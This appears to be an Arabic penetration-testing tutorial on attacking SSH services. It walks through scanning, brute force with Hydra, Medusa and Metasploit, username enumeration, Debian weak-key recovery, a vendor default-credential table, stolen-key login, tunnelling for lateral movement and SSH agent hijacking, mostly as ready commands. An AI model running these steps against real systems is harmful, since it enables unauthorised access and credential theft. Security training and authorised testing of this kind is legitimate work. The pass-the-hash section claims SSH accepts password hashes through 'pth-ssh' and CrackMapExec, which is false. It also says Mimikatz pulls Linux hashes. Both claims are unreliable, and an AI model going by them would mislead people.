جدول المحتويات
معلومات أساسية
الـ SSH (الشل الآمن أو الغلاف الآمن) هو بروتوكول شبكي يُمكّن من إنشاء اتصال آمن بجهاز كمبيوتر عبر شبكة غير مؤمنة. وهو أساسي للحفاظ على سرية وسلامة البيانات عند الوصول إلى الأنظمة عن بُعد.
المنفذ الافتراضي: 22

مثال على سير عمل الهجوم
أولاً: الاستطلاع
- استخدم Nmap للبحث عن منافذ SSH المفتوحة.
- حدد إصدار SSH باستخدام الأمر
nmap -sV
. - حاول استخراج الشعار الخاص بـ SSH للحصول على مزيد من المعلومات (
nc
أوtelnet
).
ثانياً: تقييم الثغرات الأمنية
- استخدم
ssh-audit
للعثور على الإعدادات الضعيفة. - ابحث عن الثغرات الأمنية (CVEs) المتعلقة بإصدار SSH المكتشف.
ثالثاً: الهجوم بالقوة أو استغلال المفاتيح
- إذا تم استخدام المصادقة بكلمة مرور، حاول الهجوم بالقوة باستخدام Hydra أو Medusa.
- إذا كانت مفاتيح SSH مكشوفة، استخدم المفتاح للمصادقة مباشرة.
رابعاً: ما بعد الاستغلال
- قم بإعداد أنفاق SSH للتحرك الجانبي داخل الشبكة.
- اختطف جلسات SSH النشطة إذا أمكن.
الاستطلاع
فحص المنافذ
استخدم Nmap لتحديد منافذ SSH (المنفذ الافتراضي هو 22):
nmap -p22 <عنوان-الهدف>
تعداد الخدمة
تحقق من إصدار خدمة SSH لتحديد الثغرات الأمنية المحتملة:
nmap -sV -p22 <عنوان-الهدف>
قراءة الشعار
استخرج شعار SSH لمعرفة إصدار الخدمة ومعلومات نظام التشغيل:
nc <عنوان-الهدف> 22
تقييم الثغرات الأمنية
التحقق من الثغرات المعروفة
- بمجرد أن يكون لديك إصدار SSH من الخطوات السابقة، يمكنك البحث عن الثغرات الأمنية (CVEs) في قواعد بيانات عامة مثل قاعدة بيانات CVE، أو أتمتة العملية باستخدام سكربتات NSE الخاصة بـ Nmap.
nmap --script sshv1 -p22 <عنوان-الهدف>
nmap -p22 --script "ssh2-enum-algos" # استرجاع خوارزميات مدعومة
nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # استرجاع مفاتيح الاستضافة
nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # التحقق من طرق المصادقة
الهجوم بالقوة (Brute Force)
hydra -l <اسم المستخدم> -P <ملف كلمات المرور> <عنوان-الهدف> ssh
medusa -h <عنوان-الهدف> -u <اسم المستخدم> -P <ملف كلمات المرور> -M ssh
تقنيات متقدمة لهجمات ال Brute Force
في سيناريوهات الاختبار المتقدمة، قد يستخدم المهاجمون كلمات مرور مجزأة بدلاً من كلمات المرور النصية الصريحة. تُعرف هذه التقنية باسم Pass the Hash (PTH)، وتتيح للمهاجمين المصادقة باستخدام تجزئة كلمة المرور، متجاوزين بذلك قيود هجمات ال Brute Force التقليدية.
أداتان شهيرتان تُستخدمان لهذا الغرض على بروتوكول SSH هما:
CrackMapExec و pth-ssh
تنفيذ هجمات متزامنة باستخدام CrackMapExec
CrackMapExec (CME) هي أداة ما بعد الاستغلال تقوم بأتمتة المهام عبر شبكة كاملة، بما في ذلك هجمات ال Brute Force المتزامنة لتسجيل الدخول إلى SSH. تتيح CME تنفيذ الهجمات على أهداف متعددة باستخدام تجزئات كلمات مرور بدلاً من كلمات المرور النصية.
crackmapexec ssh <عنوان-الهدف> -u <اسم المستخدم> -p <كلمة المرور>
<عنوان-الهدف>
: عنوان الآلة الهدف.<اسم المستخدم>
: اسم المستخدم المراد المصادقة به.<كلمة المرور>
: كلمة المرور أو التجزئة المستخدمة في محاولة الدخول.
استخدام Pass-the-Hash مع pth-ssh
تستخدم هجمات Pass the Hash (PTH) تجزئات كلمات المرور المسروقة بدلاً من تخمين أو تجربة كلمات مرور نصية. أداة pth-ssh مصممة خصيصاً لهجمات SSH باستخدام هذه التقنية.
pth-ssh <اسم المستخدم>@<عنوان-الهدف> <تجزئة-كلمة-المرور>
<اسم المستخدم>
: اسم المستخدم لمحاولة المصادقة.<عنوان-الهدف>
: عنوان الهدف المراد الاتصال به.<تجزئة-كلمة-المرور>
: التجزئة المستخدمة بدلاً من كلمة المرور النصية.
لماذا يتم استخدام Pass-the-Hash في هجمات SSH؟
- أكثر تخفّياً من هجمات ال Brute Force: هجمات ال Brute Force تُكتشف بسهولة وتُطلق تنبيهات، أما PTH فتستخدم بيانات اعتماد صالحة.
- تجاوز حدود المحاولات: العديد من خوادم SSH تفرض حدودًا على المحاولات الفاشلة. باستخدام تجزئات كلمات المرور، يمكن تجاوز آليات الحظر أو القفل.
- ما بعد الاستغلال: عند اختراق جهاز معين، قد يكون لديك بالفعل تجزئات كلمات المرور المحفوظة في ملفات مثل
/etc/shadow
، مما يُمكنك من التنقل داخل الشبكة بسهولة.
أين تجد تجزئات كلمات المرور؟
- أدوات ما بعد الاستغلال: أدوات مثل Mimikatz، John the Ripper، أو Hashcat يمكنها استخراج تجزئات من الذاكرة أو القرص أو حركة مرور الشبكة.
- أنظمة لينكس: غالباً ما تُخزن التجزئات في
/etc/shadow
(ملف القراءة فقط). - أنظمة ويندوز: تُخزن التجزئات في قاعدة بيانات SAM (Security Account Manager)، ويمكن للأدوات استخراجها لاحقًا لاستخدامها في هجمات PTH.
نقاط ضعف مصادقة المفاتيح العامة
- إذا تم استخدام المصادقة بواسطة مفاتيح SSH، فإن المفاتيح الضعيفة أو غير المؤمنة بشكل جيد يمكن أن تكون نقطة دخول للمهاجم. أداة مثل
ssh-audit
يمكنها اكتشاف نقاط الضعف في إعدادات SSH والمفاتيح المكشوفة.
ssh-audit <عنوان-الهدف>
استغلال الثغرات الأمنية (Exploit Vulnerabilities)
استغلال الثغرات الأمنية (مثال: CVE-2018-15473)
بعض الثغرات مثل CVE-2018-15473 (تعداد أسماء المستخدمين) تسمح للمهاجمين باكتشاف أسماء مستخدمين صالحة من خلال تحليل ردود SSH. يمكن أن تؤدي استغلالات خوارزميات التشفير القديمة أو عيوب البروتوكول إلى هجمات ناجحة.
Metasploit لاستخدام ال Brute Force لتسجيل دخول SSH:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS <عنوان-الهدف>
set USERNAME <اسم-المستخدم>
set PASS_FILE <مسار-ملف-كلمات-المرور>
run
use auxiliary/scanner/ssh/ssh_login
: تستخدم هذه الوحدة لتنفيذ هجمات ال Brute Force على بيانات اعتماد SSH.RHOSTS
: عنوان IP الخاص بالهدف.USERNAME
: اسم المستخدم المطلوب تجربة الدخول به.PASS_FILE
: ملف يحتوي على كلمات المرور المستخدمة في الهجوم.
Metasploit لتعداد إصدار SSH:
use auxiliary/scanner/ssh/ssh_version
set RHOSTS <عنوان-الهدف>
run
use auxiliary/scanner/ssh/ssh_version
: تقوم هذه الوحدة بمسح وكشف إصدار SSH المشغل على الجهاز الهدف.RHOSTS
: عنوان IP الخاص بالهدف.
استغلالات إضافية:
CVE-2018-15473 يسمح بتعداد أسماء المستخدمين:
python ssh_enum.py -t <عنوان-الهدف> -u <قائمة-المستخدمين>
يعمل هذا السكربت بلغة Python على تعداد أسماء المستخدمين الصالحين عبر تحليل ردود SSH أثناء محاولات تسجيل الدخول.
CVE-2008-0166 (ثغرة توليد الأرقام العشوائية في Debian OpenSSL)
هذه ثغرة قديمة لكنها خطيرة أثرت على أنظمة Debian القديمة التي تستخدم OpenSSL، مما يسمح للمهاجمين بتوليد مفاتيح خاصة متوقعة.
إذا كان النظام عرضة لهذه الثغرة، يمكن إعادة إنشاء مفاتيح SSH استنادًا إلى أرقام عشوائية ضعيفة.
- قم بتحميل ملف المفاتيح الضعيفة لأنظمة Debian التي تستخدم OpenSSL:
git clone https://github.com/rapid7/debian-ssh.git
- ابحث عن المفتاح الضعيف المطابق:
cd debian-ssh
./find_key.py <اسم-المستخدم>
بيانات الاعتماد الافتراضية (Default Credentials)
البائع | أسماء المستخدمين | كلمات المرور |
---|---|---|
APC | apc، device | apc |
Brocade | admin | admin123، password، brocade، fibranne |
Cisco | admin، cisco، enable، lsa، plc، pmdmin، rlpeep، root، sladmin | admin، Admin123، default، password، security، cisco، Cisco، Cisco123، cisco123، C1sc0zZz، C1sc0123، TAC@r0uter، changeme، 1234، 12345، l!sa، pmdmin، daadmin، h4cks، c، abc، netadmin |
Citrix | root، nsroot، nsadmin، vlsadmin، kvm، cli، admin | Citrix، nsroot، nsramit، kavita، kavita123، freesoft، !utils@، rootadm، nsadmin، walker |
D-Link | admin، user | private، admin، user |
Dell | root، user1، admin، vkernel، cli | calvin، 12345، password، !vkernel، Stor@ge! |
EMC | admin، root، sysadmin | EMC2Admin、Password、Password123、sysadmin |
HP/3Com | admin، root، vce、app、svct、manage、hpsupport、opc、cp | admin、Admin@123、MC123、p@ss、Password、!esxgroup、vce、vce123、vceadmin、hp、hp123、opc、opc123、changeme、root、!manage |
Huawei | admin、root | 123456、admin、123、Admin123、Admin@Brocade、Huawei、admin123、Huawei@123、huawei@123、Huawei2021、Huawei123 |
IBM | USERID، admin، manager، mgm、db2inst1、db2fenc1、dsu#1、db2admin、idmin、system、device、idm、customer | PASSWORD、password、passw0rd、Password、PASSWORD、admin、system、device、idmin |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root، oracle、ovs、applmgr、lion-admin、lion-operator | changeme、lion-admin、lion-operator、welcome、oracle、oracle123 |
VMware | v-admin、root、hqadmin、vmware、admin | vmware、vm、hqadmin、default |
استخدام مفاتيح SSH المكشوفة للمصادقة المباشرة
إذا كان لديك مفتاح SSH خاص مكشوف أو مسروق (id_rsa
)، يمكنك استخدامه للمصادقة مباشرةً على خدمة SSH على النظام الهدف.
تعليمات خطوة بخطوة:
- احصل على المفتاح الخاص SSH: غالبًا ما يكون اسم الملف هو
id_rsa
. تأكد أن الملف يحتوي على الأذونات الصحيحة قبل محاولة استخدامه. - تحقق من الأذونات: تتطلب خدمة SSH أن يكون للمفتاح الخاص الأذونات المقيدة التالية (فقط المالك يمكنه القراءة والكتابة):
chmod 600 id_rsa
- الاتصال بالجهاز الهدف باستخدام المفتاح: استخدم الأمر التالي للاتصال عبر SSH باستخدام المفتاح الخاص:
ssh -i id_rsa <اسم-المستخدم>@<عنوان-الهدف>
id_rsa
: المفتاح الخاص الذي حصلت عليه.<اسم-المستخدم>
: اسم المستخدم الخاص بتسجيل الدخول لـ SSH.<عنوان-الهدف>
: عنوان IP أو اسم المضيف للنظام الهدف.
مثال:
ssh -i id_rsa root@192.168.1.10
4. تحقق من الوصول: إذا كان المفتاح صحيحًا والمستخدم موجود على النظام الهدف، فلن تحتاج إلى تنفيذ هجمات ال Brute Force للوصول.
ما بعد الاستغلال (Post-Exploitation)
إعداد أنفاق SSH للتحرك الجانبي داخل الشبكة (Lateral Movement)
يسمح نفق SSH بإنشاء نفق مشفر عبر الجهاز المُخترق للوصول إلى أجهزة أخرى في شبكة داخلية. هذا مفيد جداً في سيناريوهات ما بعد الاستغلال.
تعليمات خطوة بخطوة:
1. توجيه منفذ محلي (SSH Local Port Forwarding):
يسمح لك هذا الخيار بتوجيه منفذ محلي إلى منفذ على جهاز آخر عبر جلسة SSH. يُستخدم عادةً عند الحاجة للوصول إلى خدمة داخلية من جهازك.
الأمر:
ssh -L <local-port>:<internal-ip>:<internal-port> <username>@<target-ip>
<local-port>
: المنفذ المحلي على جهازك الذي تريد استخدامه.<internal-ip>
: عنوان IP للجهاز الداخلي الذي يحتوي على الخدمة.<internal-port>
: المنفذ في الجهاز الداخلي الذي تريد الوصول إليه.<username>@<target-ip>
: بيانات اعتماد SSH وعنوان الجهاز المُخترق.
مثال:
ssh -L 8888:10.10.10.5:80 root@192.168.1.10
هذا يقوم بتوجيه الطلبات على المنفذ المحلي 8888 إلى المنفذ 80 على الجهاز الداخلي 10.10.10.5
. يمكنك الآن فتح http://localhost:8888
في متصفحك للوصول إلى تلك الخدمة.
2. توجيه منفذ عن بُعد (SSH Remote Port Forwarding):
يسمح لك هذا الخيار بكشف منفذ من جهازك المحلي إلى الجهاز الهدف. يُستخدم غالبًا مع shell العكسي.
الأمر:
ssh -R <remote-port>:<local-ip>:<local-port> <username>@<target-ip>
مثال:
ssh -R 9000:localhost:22 root@192.168.1.10
سيمكنك هذا من الاتصال بخدمة SSH المحلية (المنفذ 22) من الجهاز الهدف عبر المنفذ 9000.
3. نفق ديناميكي باستخدام SOCKS Proxy:
يمكنك إنشاء نفق SSH ديناميكي باستخدام SOCKS proxy، ما يسمح لك بتوجيه حركة المرور عبر خادم SSH للوصول إلى الشبكة الداخلية بأكملها.
الأمر:
ssh -D <local-port> <username>@<target-ip>
مثال:
ssh -D 8888 root@192.168.1.10
يقوم هذا بإنشاء SOCKS proxy على localhost:8888
. يمكنك بعدها تكوين المتصفح أو أداة بروكسي (مثل Burp Suite) لاستخدام هذا البروكسي.
اختطاف جلسات SSH النشطة (Hijacking Existing SSH Sessions)
في بعض حالات ما بعد الاستغلال، من الممكن اختطاف جلسات SSH نشطة. يشمل ذلك التعرف على الجلسة النشطة واستخدام إعادة توجيه SSH agent أو اختطاف socket قيد الاستخدام.
تعليمات خطوة بخطوة:
1. تحقق من وجود جلسات SSH نشطة:
بعد الوصول إلى النظام، تحقق من وجود جلسات SSH نشطة من خلال البحث عن العمليات:
الأمر:
ps aux | grep ssh
سيعرض هذا جميع جلسات SSH والعمليات المرتبطة بها. يمكنك أيضًا التحقق من الدليل /proc
لمزيد من التفاصيل.
2. تحقق من إعادة توجيه SSH Agent:
إذا تم تمكين إعادة توجيه SSH agent، فقد تتمكن من استخدام الجلسة دون الحاجة إلى كلمة المرور.
الأمر:
env | grep SSH_AUTH_SOCK
إذا ظهر متغير SSH_AUTH_SOCK
، فهذا يشير إلى وجود SSH Agent. هذا الـ Agent يحتفظ بالمفاتيح الخاصة ويمكن استخدامها للمصادقة على أنظمة أخرى.
3. اختطاف SSH Agent:
إذا كان متاحًا، يمكنك استخدام مفاتيح الـ Agent للتنكر كمستخدم آخر.
الأمر:
ssh-add -l
يعرض هذا المفاتيح المتاحة في الـ Agent. إذا كانت هناك مفاتيح، يمكنك استخدامها للوصول إلى أنظمة أخرى.
4. استخدام Agent المخترق للتحرك الجانبي:
إذا قمت باختطاف الـ Agent، يمكنك تنفيذ اتصال SSH جديد إلى نظام آخر دون الحاجة للمفتاح الفعلي، طالما أن الجلسة الحالية مصرح لها.
الأمر:
ssh -A <اسم-المستخدم>@<عنوان-الهدف>
مثال:
ssh -A admin@10.10.10.5
يقوم هذا بتوجيه SSH agent المخترق إلى الهدف الجديد، مما يسمح لك باستخدام المفاتيح المُخزنة للمصادقة.
خاتمة
يُعد بروتوكول SSH أحد أكثر البروتوكولات استخدامًا للوصول الآمن إلى الأنظمة عن بُعد، لكنه في الوقت ذاته يمثل هدفًا رئيسيًا في اختبارات الاختراق بسبب الإعدادات الضعيفة أو بيانات الاعتماد الافتراضية أو المفاتيح المكشوفة. من خلال اتباع الخطوات الموضحة في هذا الدليل — بدءًا من الاستطلاع، وتقييم الثغرات، والاستغلال، وحتى ما بعد الاستغلال — يمكن لفريق اختبار الاختراق تقييم مستوى أمان خدمة SSH بشكل شامل.
يجب دائمًا استخدام هذه المهارات في نطاق قانوني وأخلاقي، وفي بيئات اختبار مصرح بها فقط. الهدف هو تعزيز الأمان، وليس المساس به.